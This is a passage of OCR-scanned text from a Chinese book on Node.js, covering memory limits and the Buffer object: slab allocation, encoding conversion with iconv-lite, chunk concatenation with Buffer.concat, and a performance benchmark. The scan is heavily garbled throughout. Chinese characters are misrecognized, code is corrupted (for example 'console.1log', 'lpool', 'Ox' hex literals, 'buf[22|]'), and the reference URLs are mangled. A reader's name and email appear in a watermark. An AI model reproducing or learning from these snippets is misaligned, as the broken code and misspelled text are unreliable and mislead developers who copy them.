作 ， 这 不 会 受到 V8 堆 内 存 的 限制 。 但 是 这 种 大 片 使 用 内 存 的 情况 依然 要 小 心 ， 即 使 V8 不 限制 堆 
内 存 的 大 小 ， 物 理 内 存 依然 有 限制 。 


5.7 总 结 


Node 将 JavaScript 的 主要 应 用 场景 扩展 到 了 服务 融 端 , 相应 要 考虑 的 细 世 也 与 浏览 希 端 不 同 ， 
需要 更 严谨 地 为 每 一 份 资 源 作 出 安排 。 总 的 来 说 , 内 存在 Node 中 不 能 随心 所 欲 地 使 用 , 但 也 不 是 
完全 不 擅长 。 本 草 介 绍 了 内 存 的 各 种 限制 , 和布 望 谈 者 可 以 在 使 用 中 规避 蔡 忌 ,与 生态 系统 中 的 各 
种 软件 搭配 ， 发 挥 Node 的 长 处 。 


5.8 参考 资源 


在 这 里 ， 我 特别 感谢 丘 枢 对 本 前 的 指导 。 本 曹参 考 的 资源 如 下 所 示 : 
DQ https://github.com/Joyent/node/wik/FAQ 
QD http:/Wwww.cs.sunysb.edu/~cse304/Fall08/Lectures/mem-handout.pdf 


DQ http://en.wikipedia.org/Wwik1i/Resident set size 

DQ https://github.com/isaacs/node-lru-cache 

DQ https://github.com/mranney/node redis 

D https://github.com/3rd-Eden/node-memcached 

D http://nodejs.org/docs/latest/api/stream.html 

D http:/www.showmuch.com/a/20111012/215033.html 
DQ https://github.com/lloyd/node-memwatch 

DQ https://github.com/bnoordhuis/node-heapdump 

DQ http:/www.willlamlong.info/archives/3042.html 

DQ https://code.google.com/p/v8/issues/detall?1d=847 

D http://blog.chromium.org/2011/11l/game-changer-for-interactive.html 
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JavaScript 对 于 字符 串 string ) 的 操作 十 分 友好 ， 无 论 是 宽 字 有 字符 串 还 是 单字 节 字 符 串 ， 
都 被 认为 是 一 个 字符 串 。 示 例 代码 如 下 所 示 : 
console.log("0123456789" .length); // 10 


Console.1og(" 零 一 二 三 四 五 六 七 八 九 " .length); //10 
console.log("\uoobd".length); // 1 


对 比 PHP 中 的 字符 串 统 计 , 我们 需要 动用 和 额外 的 函数 来 获取 字符 串 的 长 度 ,示例 代码 如 下 所 示 : 


<?php 

echo strlen("0123456789"); // 10 

echo “An ; 

echo strlen(" 零 一 二 三 四 五 六 七 八 九 "); // 30 

echo “An ; 

echo mb _stTrlen(" 零 一 二 三 四 五 六 七 八 九 "， "utf-8"); //10 
echo “An 

?> 


与 第 $ 草 介绍 的 内 容 一 样 ， 本 和 曹 讲 述 的 也 是 前 端 JavaScript 开 发 者 不 曾 涉及 的 内 容 。 文 件 和 网 
络 WO 对 于 前 端 开发 者 而 言 都 是 不 曾 有 的 应 用 场景 ， 因 为 前 端 只 需 做 一 些 简 单 的 字符 串 操 作 或 
DOM 操 作 基 本 就 能 满足 业务 需求 ， 在 ECMAScript 规 范 中 ， 也 没有 对 这 些 方面 做 任何 的 定义 ， 只 
有 CommonJS 中 有 部 分 二 进 制 的 定义 。 由 于 应 用 场景 不 同 ， 在 Node 中 ， 应 用 需要 处 理 网 络 协议 、 
操作 数据 库 、 人 处理 图 片 、 接 收 上 传 文件 等 , 在 网 络 流 和 文件 的 操作 中 , 还 要 处 理 大 量 二 进 制 数据 ， 
JavaScript 自 有 的 字符 串 远 远 不 能 满足 这 些 需 求 ， 于 是 Buffer 对 象 应 运 而 生 。 


6.1 Buffer 结构 


Buffer 是 一 个 像 Array 的 对 和 象 , 但 它 主 要 用 于 操作 字 了 。 下 面 我 们 从 醒 英 结构 和 对 象 结 构 的 层 
面 上 来 认识 它 。 
6.1.1 模块 结构 


Buffer 是 一 个 典型 的 JavaScript 与 C++ 结合 的 模块 ， 它 将 性 能 相关 部 分 用 C++ 实现 ， 将 非 性 能 
相关 的 部 分 用 JavaScript 实 现 ， 如 图 6-1 所 示 。 
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JavaScript 核 心 模块 Buffer/SlowBuffer 


C++ 内 建 模 块 node buffer 


图 6-1 Buffer 的 分 工 


第 5 章 揭 示 了 Buffer 所 占用 的 内 存 不 是 通过 V8 分 配 的 ， 属 于 推 外 内 存 。 由 于 V8 垃 圾 回收 性 能 
的 影响 ， 将 篆 用 的 操作 对 象 用 更 高 效 和 专 有 的 内 存 分 配 回收 策略 来 管理 是 个 不 错 的 思路 。 

由 于 Buffer 太 过 和 常 几 ，Node 在 进程 启动 时 就 已 经 加 载 7 它 ， 并 将 其 放 在 全 局 对 和 象 ( global ) 
上 。 所 以 在 使 用 Buffer 时 ， 无 须 通 过 require() 即 可 直接 使 用 。 


6.1.2 Buffer 对 象 


Buffer 对 和 象 类 似 于 数组 , 它 的 元 条 为 16 进 制 的 两 位 数 ， 即 0 到 255 的 数值 。 示例 代 码 如 下 所 示 : 


Var str =“ 深 入 浅 出 node.js”; 

var buf = new Buffer(str, 'utf-8'); 

console.1log(buf); 

// => <Buffer e6 b7 b1 es 85 a5 e6 b5 85 e5 87 ba 6e 6f 64 65 2e 6a 73> 


由 上 面 的 示例 可 见 ， 不 同 编码 的 字符 串 占用 的 元 系 个 数 各 不 相同 ， 上 面 代码 中 的 中 文字 在 
UTF-8 编 码 下 占用 3 个 元 素 ， 字 母 和 半角 标点 和 从 号 占 用 1 个 元 系 。 

Buffer 受 Array 类 型 的 影响 很 大 ， 可 以 访问 length 属 性 得 到 长 度 ， 也 可 以 通过 下 标 访问 元 素 ， 
在 构造 对 和 象 时 也 十 分 相似 ， 代 码 如 下 : 


var buf = new Buffer(100); 
console.log(buf.length); // => 100 


上 述 代 码 分 配 了 一 个 长 100 字 市 的 Buffer 对 象 。 可 以 通过 下 标 访 问 刚 初始 化 的 Buffer 的 元 系 ， 
代码 如 下 : 

console.1log(buf[10]); 

这 里 会 得 到 一 个 比较 奇怪 的 结果 ， 它 的 元 系 值 是 一 个 0 到 255 的 随机 值 。 

同样 ， 我 们 也 可 以 通过 下 标 对 它 进行 赋值 : 

buf[10] = 100; 

console.log(buf[10]); // => 100 

值得 注意 的 是 ,如 果 给 元 素 赋值 不 是 0 到 255 的 整数 而 是 小 数 时 会 怎样 呢 ? 示例 代码 如 下 所 示 : 


buf[20] = -100; 
console.1log(buf[20]); // 156 
buf[21] = 300; 
Console.log(buf[21]); // 44 
buf[22|] = 3.1415 ; 
console.log(buf[22]); // 3 
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给 元 素 的 赋值 如 果 小 于 0， 就 将 该 值 逐 次 加 2$6， 直 到 得 到 一 个 0 到 2S$ 之 间 的 整数 。 如 果 得 到 
的 数值 大 于 2$$， 就 逐次 减 236， 直 到 得 到 0~2S$ 区 间 内 的 数值 。 如 果 是 小 数 ， 人 钨 弃 小 数 部 分 ， 失 
保留 整数 部 分 。 


6.1.3 ”Buffer 内 存 分 配 


Buffer 对 象 的 内 存 分 配 不 是 在 V8 的 堆 内 存 中 ， 而 是 在 Node 的 C++ 层 面 实现 内 存 的 申请 的 。 
为 处 理 大 量 的 字 世 数据 不 能 采用 需要 一 点 内 存 就 问 操 作 系统 申请 一 点 内 存 的 方式 , 这 可 能 造成 大 
量 的 内 存 申请 的 系统 调用 ， 对 操作 系统 有 一 定 压力 。 为 此 Node 在 内 存 的 使 用 上 应 用 的 是 在 C++ 
层面 申请 内 存 、 在 JavaScript 中 分 配 内 存 的 策略 。 

为 了 高 效 地 使 用 申请 来 的 内 存 ，Node 采 用 了 slab 分 配 机 制 。slab 是 一 种 动态 内 存 管理 机 制 ， 最 早 
诞生 于 SunOS 操 作 系 统 ( Solaris ) 中 ,目前 在 一 些 *nix 操 作 系 统 中 有 广泛 的 应 用 , 如 FreeBSD 和 Linux。 

简单 而 言 ，slab 就 是 一 块 申请 好 的 固定 大 小 的 内 存 区 域 。slab 具 有 如 下 3 种 状态 。 

口 名 ll: 完全 分 配 状态 。 

D partial: 部 分 分 配 状态 。 

D empty: 没有 被 分 配 状 态 。 

当 我 们 需要 一 个 Buffer 对 象 ， 可 以 通过 以 下 方式 分 配 指定 大 小 的 Buffer 对 象 

new Buffer(size); 

Node 以 8 KB 为 界限 来 区 分 Buffer 是 大 对 象 还 是 小 对 象 : 

Buffer.poolSize = 8 * 1024; 

这 个 8 KB 的 值 也 就 是 每 个 slab 的 大 小 值 ， 在 JavaScript 层 面 , 以 它 作 为 单位 单元 进行 内 存 的 分 配 。 

1. 分 配 小 Buffer 对 象 

如 果 指 定 Buffer 的 大 小 少 于 8 KB ，Node 会 按照 小 对 象 的 方式 进行 分 配 。Buffer 的 分 配 过 程 中 
主要 使 用 一 个 局 部 变量 pool 作 为 中 间 处 理 对 象 ， 处 于 分 配 状 态 的 slab 单 元 都 指 回 它 。 以 下 是 分 配 
一 个 全 新 的 slab 单 元 的 操作 ， 它 会 将 新 申请 的 SlowBuffer 对 象 指 问 它 : 


var pool; 


function allocPool() { 
pool = new SlowBuffer(Buffer.poolSize); 
pool.used = 0; 


} 
图 6-2 为 一 个 新 构造 的 slab 单 元 示例 。 


used:0 


图 6-2 ”新 构造 的 slab 单 元 示例 
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在 图 6-2 中 ， slab 人 处 于 empty 状 态 。 

构造 小 Buffer 对 象 时 的 代码 如 下 : 

new Buffer(1024); 

这 次 构造 将 会 去 检查 poo1 对 象 ， 如 果 pool 没 有 被 创建 ， 将 会 创建 一 个 新 的 slab 单 元 指向 它 : 

if (lpool || pool.length - pool.used < this.length) allocPool(); 

同时 当前 Buffer 对 象 的 parent 属 性 指向 该 slab ， 并 记录 下 是 从 这 个 slab 的 哪个 位 置 ( offset ) 
开始 使 用 的 ，slab 对 象 目 身 也 记录 被 使 用 了 多 少 字 节 ， 代 码 如 下 : 


this.parent = pool; 

this.offset = pool.used ; 

pool.used += this.length; 

if (pool.used & 7) pool.used = (pool.used + 8) & ~7; 


图 6-3 为 从 一 个 新 的 slab 单 元 中 初次 分 配 一 个 Buffer 对 和 象 的 示意 图 。 


offset:0 


used:1024 


图 6-3 ”从 一 个 新 的 slab 单 元 中 初次 分 配 一 个 Buffer 对 象 
这 时 候 的 slab 状 态 为 partial。 
当 绸 次 创建 一 个 Buffer 对 象 时 ， 构 造 过 程 中 将 会 判断 这 个 slab 的 剩余 空间 是 否 足 够 。 如 果 足 


够 ， 使 用 剩余 空间 ， 并 更 新 slab 的 分 配 状 态 。 下 面 的 代码 创建 了 一 个 新 的 Buffer 对 象 ， 它 会 引起 
一 次 Slab 分 配 : 


new Buffer(3000); 


图 6-4 为 再 次 分 配 的 示意 图 。 


offset:1024 


Buffer1 Buffer? J 8 KB 的 pool 


Used :5024 


| 
图 6-4 ”从 slab 单 元 中 再 次 分 配 一 个 Buffer 对 和 象 


如 果 slab 剩 余 的 空间 不 够 ， 将 会 构造 新 的 slab ， 原 slab 中 剩余 的 空间 会 造成 浪费 。 例 如 ， 第 一 
次 构造 1 字 市 的 Buffer 对 象 ， 第 二 次 构造 8192 字 节 的 Buffer 对 象 ， 由 于 第 二 次 分 配 时 slab 中 的 空间 
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不 够 ， 所 以 创建 并 使 用 新 的 slab， 第 一 个 slab 的 8 KB 将 会 被 第 一 个 1 字 节 的 Buffer 对 象 独 占 。 下 面 
的 代码 一 共 使 用 了 两 个 slab 单 元 : 


new Buffer(1); 
new Buffer(8192); 


这 里 要 注意 的 事项 是 ， 由 于 同一 个 slab 可 能 分 配给 多 个 Buffer 对 象 使 用 ， 只 有 这 些小 Buffer 对 
象 在 作用 域 释放 并 都 可 以 回收 时 , slab 的 8KB 空 间 才 会 被 回收 。 尽管 创建 了 1 个 字 市 的 Buffer 对 象 ， 
但 是 如 果 不 释放 它 ， 实 际 可 能 是 8 KB 的 内 存 没有 释放 。 

2. 分 配 大 Buffer 对 象 

如 有 果 和 需要 超过 8 KB 的 Buffer 对 象 ， 将 会 下 接 分 配 一 个 SlowBuffer 对 象 作为 slab 单 元 ， 这 个 slab 
单元 将 会 被 这 个 大 Buffer 对 象 独占 。 

// Big buffer, just alloc one 


this.parent = new SlowBuffer(this.length); 
this.offset = 0; 


这 里 的 SlowBuffer 类 是 在 C++ 中 定义 的 ， 虽然 引用 buffer 模 块 可 以 访问 到 它 ， 但 是 不 推荐 直 
接 操 作 它 ， 而 是 用 Buffer 苦 代 。 

上 面 提 到 的 Buffer 对 象 都 是 JavaScript 层 面 的 , 能 够 被 V8 的 垃圾 回收 标记 回收 。 但 是 其 内 部 的 
parent 属 性 指 回 的 SlowBuffer 对 象 却 来 目 于 Node 目 身 C++ 中 的 定义 ， 是 C++ 层面 上 的 Buffer 对 象 ， 
所 用 内 存 不 在 V8 的 堆 中 。 

3. 小 结 

简单 而 言 , 真正 的 内 存 是 在 Node 的 C++ 层面 提供 的 ，JavaScript 层 面 只 是 使 用 它 。 当 进行 小 而 
频繁 的 Buffer 操 作 时 ， 采 用 slab 的 机 制 进行 预先 申请 和 事后 分 配 ， 使 得 JavaScript 到 操作 系统 之 间 
不 必 有 过 多 的 内 存 申请 方面 的 系统 调用 。 对 于 大 块 的 Buffer 而 言 ， 则 直接 使 用 C++ 层 面 提供 的 内 
存 ， 而 无 需 细 腻 的 分 配 操作 。 


6.2 Buffer 的 转换 


Buffer 对 象 可 以 与 字符 串 之 间 相 互 转换 。 目 前 文 持 的 字符 串 编 码 类 型 有 如 下 这 儿 种 。 
UD ASCIL 

UD UTF-8 

UD UTF-16LE/UCS-2 

J Base64 


6.2.1 字符 串 转 Buffer 


字符 串 转 Buffer 对 象 主要 是 通过 构造 吨 数 完成 的 : 
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new Buffer(str, [encoding]); 

通过 构造 浮 数 转换 的 Buffer 对 象 ， 存 储 的 只 能 是 一 种 编码 类 型 。encoding 参 数 不 传 递 时 ， 默 
认 按 UTF-8 编 码 进行 转 码 和 存储 。 

一 个 Buffer 对 象 可 以 存储 不 同 编码 类 型 的 字符 串 转 码 的 值 ， 调 用 write() 方 法 可 以 实现 该 目 
的 ， 代 码 如 下 : 

buf.write(string, [offset], [length], [encoding]) 

由 于 可 以 不 断 写 人 内 容 到 Buffer 对 象 中 ， 并 且 每 次 写 和 人 可 以 指定 编码 ， 所 以 Buffer 对 象 中 可 
以 存在 多 种 编码 转化 后 的 内 容 。 需 要 小 心 的 是 ， 每 种 编码 所 用 的 字 节 长 度 不 同 ， 将 Buffer 反 转 回 
字符 串 时 需要 谨 异 处 理 。 


6.2.2 ”Buffer 转 字符 串 


实现 Buffer 丰 字符 串 的 转换 也 十 分 简单 ，Buffer 对 象 的 toString() 可 以 将 Buffer 对 象 转换 为 字 
人 符 串 ， 代 码 如 下 : 

buf.toString([encoding], [start], [end]) 

比较 精巧 的 是 ， 可 以 设置 encoding ( 默认 为 UTF-8 )、start 、end 这 3 个 参数 实现 整体 或 局 部 
的 转换 。 如 果 Buffer 对 象 由 多 种 编码 与 人 ， 就 需要 在 局 部 指定 不 同 的 编码 ， 才 能 转换 回 正 党 的 纺 
位 。 


6.2.3 Buffer 不 文 持 的 编码 类 型 


目前 比较 遗憾 的 是 ，Node 的 Buffer 对 象 文 持 的 编码 类 型 有 限 ， 只 有 少数 的 几 种 编码 类 型 可 以 
在 字符 串 和 Buffer 之 间 转 换 。 为 此 , Buffer 提 供 了 一 个 isEncoding() 哨 数 来 判断 编码 是 否 文 持 转 换 . 

Buffer.isEncoding(encoding) 

将 编码 类 型 作为 参数 传 信 上 面 的 函数 ， 如 果 支 持 转换 返回 值 为 true， 否 则 为 false。 很 遗憾 
的 是 ， 在 中 国 常用 的 GBK、GB2312 和 BIG-5 编 码 都 不 在 支持 的 行列 中 。 

对 于 不 支持 的 编码 类 型 ， 可 以 借助 Node 生 态 圈 中 的 模块 完成 转换 。iconv 和 iconv-1lite 两 个 
模块 可 以 支持 更 多 的 编码 类 型 转换 ， 包 括 Windows 125 系 列 、ISO-8859 系 列 、IBM/DOS 代 码 页 系 
列 、Macintosh 系 列 、KOI8 系 列 ， 以 及 Latin1 、US-ASCII， 也 支持 宽 字 节 编 码 GBK 和 GB2312。 

iconv-lite 采 用 纯 JavaScript 实 现 ，iconv 则 通过 C++ 调用 libiconv 库 完成 。 前 者 比 后 者 更 轻 量 ， 
无 须 编译 和 处 理 环境 依赖 直接 使 用 。 在 性 能 方面 , 巾 于 转 码 都 是 耗 用 CPU, 在 V8 的 高 性 能 下 , 少 
了 C++ 到 JavaScript 的 层次 转换 ， 纯 JavaScript 的 性 能 比 C++ 实 现 得 更 好 。 

以 下 为 iconv-lite 的 示例 代码 : 


var iconv = require('iconv-lite'); 


// Buffer 转 字符 事 
var str = iconv.decode(buf， "win1251 ) ; 
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// 字符 串 转 Buffer 
var buf = iconv.encode("Sample input string", 'win1251'); 


男 外 ，iconv 和 iconv-lite 对 无 法 转换 的 内 容 进 行 降 级 处 理 时 的 方案 不 尽 相 同 。iconv-lite 无 
法 转换 的 内 容 如 果 是 多 字 市 ， 会 输出 兮 ;如 果 是 单字 市 ， 则 输出 ?。iconv 则 有 三 级 降级 策略 ， 会 
尝试 翻译 无 法 转换 的 内 容 ， 或 者 忽略 这 些 内 容 。 如 果 不 设置 忽略 ，iconv 对 于 无 法 转换 的 内 容 将 
会 得 到 EILSE0 异 常 。 如 下 是 iconv 的 示例 代码 兼 选项 设置 方式 : 


var iconv = new Iconv('UTF-8', 'ASCII'); 
iconv.convert('ca va'); // throws EILSEO 


var iconv = new Iconv('UTF-8', 'ASCII//IGNORE'); 
iconv.convert('ca va'); // returns "a va" 


var iconv = new Iconv('UTF-8', 'ASCII//TRANSLIT'); 
iconv.convert('ca va'); // "ca va" 


var iconv = new Iconv('UTF-8', 'ASCII//TRANSLIT//ICGNORE'); 
iconv.convert('ca va 办 '); // "ca va " 


6.3 Buffer 的 拼接 


Buffer 在 使 用 场景 中 ， 通 秆 是 以 一 段 一 段 的 方式 传输 。 以 下 是 笛 见 的 从 输入 流 中 该 取 内 容 的 
示例 代码 : 


var fs = require('fs'); 


var rs = fs.createReadStream( test.md ); 
var data = "'; 
rs.on("data", function (chunk){ 

data += chunk; 


}); 
rs.on("end", function () { 
console.1log(data); 


}); 

上 面 这 段 代 人 码 常 见于 国外 , 用 于 流 谈 取 的 示范 , data 事 件 中 获取 的 chunk 对 象 即 是 Buffer 对 象 。 
对 于 初学 者 而 言 ， 容 易 将 Buffer 当 做 子 符 串 来 理解 ， 所 以 在 接受 上 面 的 示例 时 不 会 觉得 有 任何 寞 
第。 

一 旦 输入 流 中 有 宽 字 市 编码 时 , 问题 就 会 夫 露 出 来 。 如 果 你 在 通过 Node 开 发 的 网 站 上 看 到 全 
乱码 从 写 ， 那么 该 问题 的 起 源 多 半 来 自 于 这 里 。 

这 里 潜藏 的 问题 在 于 如 下 这 人 名 代码 : 

data += chunk; 

这 句 代 码 里 隐藏 了 toString() 操 作 ， 它 等 价 于 如 下 的 代码 : 

data = data.toString() + chunk.toString(); 

值得 注意 的 是 ， 外 国人 的 语 境 通常 是 指 英 文 环境 ， 在 他 们 的 场景 下 ， 这 个 tostring() 不 会 造 
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成 任何 问题 。 但 对 于 冤 字 市 的 中 文 ， 却 会 形成 问题 。 为 了 重 现 这 个 问题 ,下面 我 们 模拟 近似 的 场 
景 ,将 文件 可 读 流 的 每 次 读 取 的 Buffer 长 度 限制 为 11， 代 码 如 下 : 

var rs = fs.createReadStream('test.md', {highWaterMark: 11}); 

搭配 该 代码 的 测试 数据 为 李 日 的 《 议 夜 思 》。 执 行 该 程序 ， 将 会 得 到 以 下 输出 : 

床 前 明 兮 兮 命 光 ， 疑 全 合 合 地 上 霜 ; 举 头 合 兮 合 明月 ， 兮 兮 合 头 思 故 乡 。 


6.3.1 乱码 是 如 何 闫 生 的 


上 面 的 诗歌 中 ,“ 月 ”" “是 ”、“ 望 *“”、“ 低 ”4 个 字 没 有 被 正常 输出 ， 取 而 代 之 的 是 3 个 全 。 产 
生 这 个 输出 结果 的 原因 在 于 文件 可 读 流 在 读 取 时 会 逐个 读 取 Buffer。 这 首 诗 的 原始 Buffer 应 存 
储 为 : 

<Buffer e5 ba 8a e5 89 8d e6 98 8e e6 9c 88 e5 85 89 ef bc 8c e7 96 91 e6 98 af es5 9cboe4 b8 8a e9 

9c 9c ef bc 9b e4 b8 be e5 a4 b4 e6 9c 9b e6 98 8e eb6 9c 88 ...> 


由 于 我 们 限定 了 Buffer 对 象 的 长 度 为 11, 因此 只 读 流 需要 读 取 7 次 才能 完成 完整 的 读 取 , 结 
是 以 下 几 个 Buffer 对 象 依 次 输出 : 


<Buffer e5 ba 8a e5 89 8d e6 98 8e eb 9c> 
<Buffer 88 e5 85 89 ef bc 8c e7 96 91 e6> 


上 文 提 到 的 buf.toString() 方 法 默认 以 UTF-8 为 编码 ， 中 文字 在 UTF-8 下 占 3 个 字 节 。 所 以 第 
一 个 Buffer 对 象 在 输出 时 ， 只 能 显示 3 个 字符 ，Buffer 中 剩 下 的 2 个 字 节 (e6 9c ) 将 会 以 乱码 的 形 
式 显 示 。 第 二 个 Buffer 对 象 的 第 一 个 字 节 也 不 能 形成 文字 ， 只 能 显示 乱码 。 于 是 形成 一 些 文字 无 
法 正 第 显示 的 问题 。 

在 这 个 示例 中 我 们 构造 了 11 这 个 限制 ， 但 是 对 于 任意 长 度 的 Buffer 而 言 ， 宽 字 节 字符 串 都 有 
可 能 存在 被 截断 的 情况 , 只 不 过 Buffer 的 长 度 越 大 出 现 的 概率 越 低 而 已 , 但 该 问题 依然 不 可 忽视 。 


6.3.2 setEncoding() 与 string decoder() 


在 看 过 上 述 的 示例 后 ， 也 许 我 们 忘记 了 可 读 流 还 有 一 个 设置 编码 的 方法 setEncoding()， 示 
例如 下 : 

readable.setEncoding(encoding) 

该 方法 的 作用 是 让 data 事 件 中 传递 的 不 再 是 一 个 Buffer 对 象 ， 而 是 编码 后 的 字符 串 。 为 此 ， 
我 们 继续 改进 前 面 诗歌 的 程序 ， 添 加 setEncoding() 的 步骤 如 下 : 


var rs = fs.createReadStream('test.md', { highWaterMark: 11} ) ; 
rs.setEncoding('utf8' ); 


重新 执行 程序 ， 得 到 输出 : 
床 前 明月 光 ， 妖 是 地 上 霜 ; 举 头 望 明 月 ， 低 头 思 故 乡 。 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


6.3 ”Buffer 的 拼接 145 


这 是 令 人 开心 的 输出 结果 ， 说 明 输 出 不 再 受 Buffer 大 小 的 影响 了 。 那 Node 是 如 何 实现 这 个 输 
出 结 采 的 呢 ? 

要 知道 ， 无论 如 何 设置 编码 ， 触 发 data 事 件 的 次 数 依 旧 相 同 ,这 意味 着 设置 编码 并 未 改变 按 
段 读 取 的 基本 方式 。 

事实 上 ， 在 调用 setEncoding() 时 ， 可 读 流 对 象 在 内 部 设置 了 一 个 decoder 对 象 。 每 次 data 囊 
件 都 通过 该 decoder 对 象 进行 Buffer 到 字符 串 的 解码 ， 然 后 传递 给 调用 者 。 是 故 设置 编 公 后 ，data 
不 再 收 到 原始 的 Buffer 对 象 。 但 是 这 依旧 无 法 解释 为 何 设 置 编码 后 乱码 问题 被 解决 抒 了 ， 因 为 在 
前 述 分 析 中 ， 无 论 如 何 转 码 ， 总 是 存在 宽 字 字符 串 被 蕉 断 的 问题 。 

最 终 乱 人 码 问 题 得 以 解决 ， 还 是 在 于 decoder 的 神奇 之 处 。decoder 对 象 来 目 于 string_decodeT 
模块 stringDecoder 的 实例 对 象 。 它 神奇 的 原理 是 什么 ， 下 面 我 们 以 代码 来 说 明 : 


var StringDecoder = require('string decoder').StringDecoder; 
var decoder = new StringDecoder('utf8'); 


var buf1 = new Buffer([OxE5, OxBA, Ox8A, OxE5, Ox89, Ox8D, OxE6, Ox98, Ox8E, OxE6, Ox9C]); 
console.log(decoder.write(buf1)); 
// => 床 前 明 


var buf2 = new Buffer([0Ox88, OxE5, Ox85, Ox89, OxXEF, OxBC, Ox8C, OxE7, Ox96, Ox91, OxE6]); 
console.log(decoder.write(buf2)); 
// => 月 光 ， 妖 


我 将 前 文 提 到 的 前 两 个 Buffer 对 象 写 人 decoder 中 。 奇 怪 的 地 方 在 于 “月 ”的 转 码 并 没有 如 平 
帝 一 样 在 两 个 部 分 分 开 和 输出 。StringDecoder 在 得 到 编码 后 ， 知 道 宫 字 贡 字符 串 在 UTF-8 编 码 下 是 
以 3 个 字 贡 的 方式 存储 的 ， 所 以 第 一 次 write() 时 ， 只 输出 前 9 个 字 布 转 码 形成 的 字符 ,“ 月 ” 字 的 
前 两 个 字 节 被 保留 在 StringDecoder 实 例 内 部 。 第 二 次 write() 时 ， 会 将 这 2 个 剩余 字 节 和 后 续 11 
个 字 市 组 合 在 一 起 , 再 次 用 3 的 整数 倍 字 节 进 行 转 码 。 于 是 乱码 问题 通过 这 种 中 间 形 式 被 解决 了 。 

虽然 string_decoder 模 块 很 奇妙 ， 但 是 它 也 并 非 万 能 药 ， 它 目前 只 能 处 理 UTF-8、Base64 和 
UCS-2/UTF-16LE 这 3 种 编码 。 所 以 ， 通 过 setEncoding() 的 方式 不 可 否认 能 解决 大 部 分 的 乱码 问 
题 ， 但 并 不 能 从 根本 上 解决 该 问题 。 


6.3.3 正确 拼接 Buffer 


淘汰 掉 setEncoding() 方 法 后 ， 剩 下 的 解决 方案 只 有 将 多 个 小 Buffer 对 象 拼接 为 一 个 Buffer 对 
象 ， 然 后 通过 iconv-lite 一 类 的 模块 来 转 码 这 种 方式 。+= 的 方式 显然 不 行 ， 那 么 正确 的 Buffer 拼 
接 方法 应 该 如 下 面 展示 的 形式 : 

var chunks = | ]; 

var size = 0; 

res.on('data', function (chunk) { 

chunks .push(chunk); 
size += chunk.length; 


}); 


res.on('end', function () { 
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var buf = Buffer.concat(chunks, size); 
var str = iconv.decode(buf, 'utf8'); 
console.log(str); 


}); 
正确 的 拼接 方式 是 用 一 个 数组 来 存储 接收 到 的 所 有 Buffer 片 段 并 记录 下 所 有 所 段 的 总 长 度 ， 
然后 调用 Buffer.concat() 方 法 生成 一 个 合并 的 Buffer 对 象 。Buffer.concat() 方 法 封装 了 从 小 
Buffer 对 象 癌 大 Buffer 对 和 象 的 复制 过 程 ， 实 现 十 分 细 觅 ， 值 得 围观 学 习 : 
Buffer.concat = function(list, length) { 
if (!Array.isArray(list)) { 


throw new Error('Usage: Buffer.concat(list, [length])'); 
} 


if (list.length === 0) { 
return new Buffer(0); 

} else if (list.length === 1) { 
return list[0]; 


} 


if (typeof length !== 'number') { 
length = 0; 
for (var i = 0; i «< list.length; i++) { 
var buf = list[i]; 
length += buf.length; 
} 
} 


var buffer = new Buffer(length); 

var pos = 0; 

for (var i = 0; i < list.length; i++) { 
var buf = list[i]; 
buf.copy(buffer, pos); 
pos += buf.length; 

} 


return buffer; 


上 
6.4 Buffer 与 性 能 


Buffer 在 文件 1O 和 网 络 IO 中 运用 广泛 ,尤其 在 网 络 传输 中 ,， 它 的 性 能 举足轻重 。 在 应 用 中 ， 
我 们 通 向 会 操作 字符 串 ， 但 一 旦 在 网 络 中 传输 ， 都 需要 转换 为 Buffer， 以 进行 二 进 制 数据 传输 。 
在 Web 应 用 中 , 字符 串 转 换 到 Buffer 是 时 时 刻 刻 发 生 的 ， 提 高 字符 串 到 Buffer 的 转换 效率 ， 可 以 很 
大 程度 地 提高 网 络 吞 吐 率 。 

在 展开 Buffer 与 网 络 传输 的 关系 之 前 ， 我 们 可 以 先 来 进行 一 次 性 能 测试 。 下 面 的 例子 中 构造 
了 一 个 10 KB 大 小 的 字符 串 。 我 们 首先 通过 纯 字 符 串 的 方式 向 客户 端 发 送 ， 代 码 如 下 : 


var http = require('http'); 
var helloworld = ""; 
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for (var i = 0; i < 1024 * 10; i++) { 
helloworld += "a"; 


} 


// helloworld = new Buffer(helloworld); 


http.createServer(function (req, res) { 
res.writeHead(200); 
res.end(helloworld); 

}).listen(8001); 


我 们 通过 ab 进行 一 次 性 能 测试 ， 发 起 200 个 并 发 客户 闪 : 
ab -c 200 -t 100 http://127.0.0.1:8001/ 


得 到 的 测试 结果 如 下 所 示 : 


HTML transferred: 512000000 bytes 

Requests per second: 2527.64 [#/sec] (mean) 

Time per request: 79.125 [ms] (mean) 

Time per request: 0.396 [ms] (mean, across all concurrent requests) 
Transfer rate: 25370.16 [Kbytes/sec| received 


测试 的 QPS( 每 秒 查 询 次 数 ) 是 2527.64， 传输 率 为 每 秒 25 370.16 KB 。 
接 下 来 我 们 取消 掉 helloworld = new Buffer(hellowor1d); 前 的 注释 ， 使 向 客户 端 输出 的 是 一 
个 Buffer 对 象 ， 无 须 在 每 次 啊 应 时 进行 转换 。 再 次 进行 性 能 测试 的 结果 如 下 所 示 : 


Total transferred: 513900000 bytes 

HTML transferred: 512000000 bytes 

Requests per second: 4843.28 [#/sec] (mean) 

Time per request: 41.294 [ms] (mean) 

Time per request: 0.206 [ms] (mean, across all concurrent requests) 
Transfer rate: 48612.56 [Kbytes/sec| received 


QPS 的 提升 到 4843.28， 传 输 率 为 每 秒 48 612.56 KB， 性 能 提高 近 一 倍 。 

通过 预先 转换 静态 内 容 为 Buffer 对 象 ， 可 以 有 效 地 减少 CPU 的 重复 使 用 ， 市 省 服务 絮 资 源 。 
在 Node 构 建 的 Web 应 用 中 , 可 以 选择 将 页 面 中 的 动态 内 容 和 静态 内 容 分 离 ,， 静态 内 容 部 分 可 以 通 
过 预先 转换 为 Buffer 的 方式 ， 使 性 能 得 到 提升 。 巾 于 文件 自身 是 二 进 制 数据 ， 所 以 在 不 需要 改变 
内 容 的 场景 下 ， 尽 量 只 旋 取 Buffer， 然 后 直接 传输 ， 不 做 额外 的 转换 ， 避 人 免 损 耗 。 

@ 文件 读 取 

Buffer 的 使 用 除了 与 字符 串 的 转换 有 性 能 损耗 外 ， 在 文件 的 谈 取 时 ， 有 一 个 highWaterMark 设 
置 对 性 能 的 影响 至 关 重 要 。 在 fs.createReadStream(path，opts) 时 ,我 们 可 以 传 和 一些 参 数 ， 代 
码 如 下 : 


{ 
flags: 工 ， 
encoding: null, 
fd: null, 
mode: 0666, 
